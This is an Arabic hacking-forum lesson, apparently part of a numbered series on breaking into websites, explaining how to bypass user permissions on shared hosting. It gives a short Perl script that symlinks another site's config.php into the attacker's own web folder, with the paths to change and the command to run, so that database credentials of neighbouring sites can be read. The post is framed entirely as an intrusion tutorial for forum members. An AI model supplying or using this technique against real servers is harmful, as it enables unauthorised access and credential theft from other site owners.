الدرس لعاشر في اختراق المواقع الهكرز الجزائري

بسم الله الرحمن الرحيم

السلام عليكم ورحمة الله وبركاته

اخواني الاعزاء اعضاء منتديات جيوش الهكرز الكرام

اليوم سوف اشرح لكم طريقة تخطي صلاحية اليوزر بالدالة الـ symlink عن طريق البيرل وقراءة الكونفيق

الكثير من المبتدأين يحاول يقرأ الكونيق بدالة symlink عن طريق الـ php ، كما شرحتها في الدرس السابق
على الرابط التالي
[ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذا الرابط]


لكن في بعض السيرفرات تجرب عن طريق الدرس السابق فيظهر لك Forbidden

الكثير يترك السيرفر وما يخترقه ، لكن كل شيء له حل

بإمكانك عن طريق البيرل تسحبه بدالة ال symlink


فكل ما عليك فعله هو رفع ملف aljyyosh.pl

ووضع داخله هذا المحتوى

كود:
#!/usr/bin/perl
symlink
("/home/aljyyosh/public_html/includes/config.php","/home/user/public_html/asdely.txt");
/home/aljyyosh/public_html/includes/config.php = مسار الكونفيق المراد سحبها
لا تنسى ان aljyyosh = يوزر الموقع
home/user/public_html/file.txt = مسار وضع الكونفيق المسحوبه
user = يوزر الموقع اللي انت موجود فيه


بعد رفع الملف

انتقل الى خانة تنفيذ الاوامر
ونفذ امر perl aljyyosh.pl

عندها سوف تجد ملف اسمه asdely.txt

استعرضه ورح تجد داخله الكونفيق

طبعا مش تقول لي كيف استعرضه! انا شرحة المسارات في الدروس السابقة


بالتوفيق


التعديل الأخير تم بواسطة ASDELY-ScOrPiOn ; 05-06-2012 الساعة 06:29 PM


اقرأ المزيد: [الدرس التاسع] شرح تخطي صلاحية اليوزر بدالة symlink عن طريق البيرل